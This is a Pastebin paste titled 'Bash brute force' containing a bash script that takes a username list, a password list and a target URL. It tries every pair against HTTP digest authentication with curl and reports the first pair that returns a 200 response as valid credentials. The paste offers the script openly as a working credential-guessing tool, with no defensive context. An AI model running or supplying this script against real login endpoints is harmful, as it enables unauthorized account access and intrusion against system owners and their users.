Advertisement
xosski

Bash brute force

Dec 13th, 2024
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.80 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Check if sufficient arguments are provided
  4. if [ $# -ne 3 ]; then
  5. echo "Usage: $0 <user_list> <password_list> <target_url>"
  6. exit 1
  7. fi
  8.  
  9. # Read usernames from the first file
  10. cat $1 | while read USER; do
  11. # Read passwords from the second file
  12. cat $2 | while read PASSWORD; do
  13.  
  14. # Send the request with cURL
  15. HTTP_RESPONSE=$(curl -s -w "%{http_code}" -o /dev/null $3 -c /tmp/cookie --digest -u $USER:$PASSWORD)
  16.  
  17. # Check if the response code is 200 (OK) or any other indicator of success
  18. if [ "$HTTP_RESPONSE" -eq 200 ]; then
  19. echo "[+] Found valid credentials: $USER:$PASSWORD"
  20. exit 0 # Exit as soon as valid credentials are found
  21. elif [ "$HTTP_RESPONSE" -ne 401 ]; then
  22. echo "[!] Unexpected response code: $HTTP_RESPONSE"
  23. fi
  24.  
  25. done
  26. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement